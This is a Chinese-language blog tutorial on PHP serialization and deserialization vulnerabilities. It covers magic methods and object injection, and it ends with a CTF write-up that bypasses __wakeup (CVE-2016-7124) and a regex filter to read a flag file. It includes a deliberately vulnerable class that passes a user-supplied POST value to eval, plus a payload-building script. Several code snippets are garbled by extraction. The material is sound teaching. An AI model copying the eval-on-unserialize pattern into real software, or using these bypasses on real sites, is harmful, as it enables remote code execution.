1 前言
最近也是在复习之前学过的内容,感觉对PHP反序列化的理解更加深了,所以在此总结一下
2 serialize()函数
“所有php里面的值都可以使用函数serialize()来返回一个包含字节流的字符串来表示。序列化一个对象将会保存对象的所有变量,但是不会保存对象的方法,只会保存类的名字。”
一开始看这个概念可能有些懵,但之后也是慢慢理解了
在程序执行结束时,内存数据便会立即销毁,变量所储存的数据便是内存数据,而文件、数据库是“持久数据”,因此PHP序列化就是将内存的变量数据“保存”到文件中的持久数据的过程。
$s = serialize($变量); //该函数将变量数据进行序列化转换为字符串 file_put_contents(‘./目标文本文件', $s); //将$s保存到指定文件
下面通过一个具体的例子来了解一下序列化:
<"text-align: center">可以看到序列化一个对象后将会保存对象的所有变量,并且发现序列化后的结果都有一个字符,这些字符都是以下字母的缩写。
a - array b - boolean d - double i - integer o - common object r - reference s - string C - custom object O - class N - null R - pointer reference U - unicode string了解了缩写的类型字母,便可以得到PHP序列化格式
O:4:"User":2:{s:3:"age";i:20;s:4:"name";s:4:"daye";} 对象类型:长度:"类名":类中变量的个数:{类型:长度:"值";类型:长度:"值";......}通过以上例子,便可以理解了概念中的通过serialize()函数返回一个包含字节流的字符串这一段话。
3 unserialize()函数
unserialize()
对单一的已序列化的变量进行操作,将其转换回 PHP 的值。在解序列化一个对象前,这个对象的类必须在解序列化之前定义。简单来理解起来就算将序列化过存储到文件中的数据,恢复到程序代码的变量表示形式的过程,恢复到变量序列化之前的结果。
$s = file_get_contents(‘./目标文本文件'); //取得文本文件的内容(之前序列化过的字符串) $变量 = unserialize($s); //将该文本内容,反序列化到指定的变量中通过一个例子来了解反序列化:
<"User":2:{s:3:"age";i:20;s:4:"name";s:4:"daye";}'); $user->PrintData(); "text-align: center">注意:在解序列化一个对象前,这个对象的类必须在解序列化之前定义。否则会报错
4 PHP反序列化漏洞
在学习漏洞前,先来了解一下PHP魔法函数,对接下来的学习会很有帮助
PHP 将所有以 __(两个下划线)开头的类方法保留为魔术方法
__construct 当一个对象创建时被调用, __destruct 当一个对象销毁时被调用, __toString 当一个对象被当作一个字符串被调用。 __wakeup() 使用unserialize时触发 __sleep() 使用serialize时触发 __destruct() 对象被销毁时触发 __call() 在对象上下文中调用不可访问的方法时触发 __callStatic() 在静态上下文中调用不可访问的方法时触发 __get() 用于从不可访问的属性读取数据 __set() 用于将数据写入不可访问的属性 __isset() 在不可访问的属性上调用isset()或empty()触发 __unset() 在不可访问的属性上使用unset()时触发 __toString() 把类当作字符串使用时触发,返回值需要为字符串 __invoke() 当脚本尝试将对象调用为函数时触发这里只列出了一部分的魔法函数,具体可见
https://www.php.net/manual/zh/language.oop5.magic.php
下面通过一个例子来了解一下魔法函数被自动调用的过程
<"abc"; public $varr2="123"; public function echoP(){ echo $this->varr1."<br>"; } public function __construct(){ echo "__construct<br>"; } public function __destruct(){ echo "__destruct<br>"; } public function __toString(){ return "__toString<br>"; } public function __sleep(){ echo "__sleep<br>"; return array('varr1','varr2'); } public function __wakeup(){ echo "__wakeup<br>"; } } $obj = new test(); //实例化对象,调用__construct()方法,输出__construct $obj->echoP(); //调用echoP()方法,输出"abc" echo $obj; //obj对象被当做字符串输出,调用__toString()方法,输出__toString $s =serialize($obj); //obj对象被序列化,调用__sleep()方法,输出__sleep echo unserialize($s); //$s首先会被反序列化,会调用__wake()方法,被反序列化出来的对象又被当做字符串,就会调用_toString()方法。 // 脚本结束又会调用__destruct()方法,输出__destruct "text-align: center">通过这个例子就可以清晰的看到魔法函数在符合相应的条件时便会被调用。
5 对象注入
当用户的请求在传给反序列化函数unserialize()之前没有被正确的过滤时就会产生漏洞。因为PHP允许对象序列化,攻击者就可以提交特定的序列化的字符串给一个具有该漏洞的unserialize函数,最终导致一个在该应用范围内的任意PHP对象注入。
对象漏洞出现得满足两个前提:
一、unserialize的参数可控。
二、 代码里有定义一个含有魔术方法的类,并且该方法里出现一些使用类成员变量作为参数的存在安全问题的函数。
下面来举个例子:<"demo"; function __destruct(){ echo $this->test; } } $a = $_GET['test']; $a_unser = unserialize($a); "htmlcode">"A":1:{s:4:"test";s:5:"lemon";}在脚本运行结束后便会调用_destruct函数,同时会覆盖test变量输出lemon。
发现这个漏洞,便可以利用这个漏洞点控制输入变量,拼接成一个序列化对象。
再看一个例子:
<"demo"; function __destruct(){ @eval($this->test);//_destruct()函数中调用eval执行序列化对象中的语句 } } $test = $_POST['test']; $len = strlen($test)+1; $pp = "O:1:\"A\":1:{s:4:\"test\";s:".$len.":\"".$test.";\";}"; // 构造序列化对象 $test_unser = unserialize($pp); // 反序列化同时触发_destruct函数 "text-align: center">6 绕过魔法函数的反序列化
wakeup()魔法函数绕过
PHP5<5.6.25 PHP7<7.0.10PHP反序列化漏洞CVE-2016-7124
#a#重点:当反序列化字符串中,表示属性个数的值大于真实属性个数时,会绕过 __wakeup 函数的执行
百度杯——Hash
其实仔细分析代码,只要我们能绕过两点即可得到f15g_1s_here.php的内容
(1)绕过正则表达式对变量的检查
(2)绕过_wakeup()魔法函数,因为如果我们反序列化的不是Gu3ss_m3_h2h2.php,这个魔法函数在反序列化时会触发并强制转成Gu3ss_m3_h2h2.php那么问题就来了,如果绕过正则表达式
(1)/[oc]:\d+:/i,例如:o:4:这样就会被匹配到,而绕过也很简单,只需加上一个+,这个正则表达式即匹配不到0:+4:(2)绕过_wakeup()魔法函数,上面提到了当反序列化字符串中,表示属性个数的值大于真实属性个数时,会绕过 _wakeup 函数的执行
编写php序列化脚本
<?php class Demo { private $file = 'Gu3ss_m3_h2h2.php'; public function __construct($file) { $this->file = $file; } function __destruct() { echo @highlight_file($this->file, true); } function __wakeup() { if ($this->file != 'Gu3ss_m3_h2h2.php') { //the secret is in the f15g_1s_here.php $this->file = 'Gu3ss_m3_h2h2.php'; } } } #先创建一个对象,自动调用__construct魔法函数 $obj = new Demo('f15g_1s_here.php'); #进行序列化 $a = serialize($obj); #使用str_replace() 函数进行替换,来绕过正则表达式的检查 $a = str_replace('O:4:','O:+4:',$a); #使用str_replace() 函数进行替换,来绕过__wakeup()魔法函数 $a = str_replace(':1:',':2:',$a); #再进行base64编码 echo base64_encode($a); ?>以上就是详解php反序列化的详细内容,更多关于php反序列化的资料请关注其它相关文章!
广告合作:本站广告合作请联系QQ:858582 申请时备注:广告合作(否则不回)
免责声明:本站资源来自互联网收集,仅供用于学习和交流,请遵循相关法律法规,本站一切资源不代表本站立场,如有侵权、后门、不妥请联系本站删除!暂无评论...
更新日志
- 凤飞飞《我们的主题曲》飞跃制作[正版原抓WAV+CUE]
- 刘嘉亮《亮情歌2》[WAV+CUE][1G]
- 红馆40·谭咏麟《歌者恋歌浓情30年演唱会》3CD[低速原抓WAV+CUE][1.8G]
- 刘纬武《睡眠宝宝竖琴童谣 吉卜力工作室 白噪音安抚》[320K/MP3][193.25MB]
- 【轻音乐】曼托凡尼乐团《精选辑》2CD.1998[FLAC+CUE整轨]
- 邝美云《心中有爱》1989年香港DMIJP版1MTO东芝首版[WAV+CUE]
- 群星《情叹-发烧女声DSD》天籁女声发烧碟[WAV+CUE]
- 刘纬武《睡眠宝宝竖琴童谣 吉卜力工作室 白噪音安抚》[FLAC/分轨][748.03MB]
- 理想混蛋《Origin Sessions》[320K/MP3][37.47MB]
- 公馆青少年《我其实一点都不酷》[320K/MP3][78.78MB]
- 群星《情叹-发烧男声DSD》最值得珍藏的完美男声[WAV+CUE]
- 群星《国韵飘香·贵妃醉酒HQCD黑胶王》2CD[WAV]
- 卫兰《DAUGHTER》【低速原抓WAV+CUE】
- 公馆青少年《我其实一点都不酷》[FLAC/分轨][398.22MB]
- ZWEI《迟暮的花 (Explicit)》[320K/MP3][57.16MB]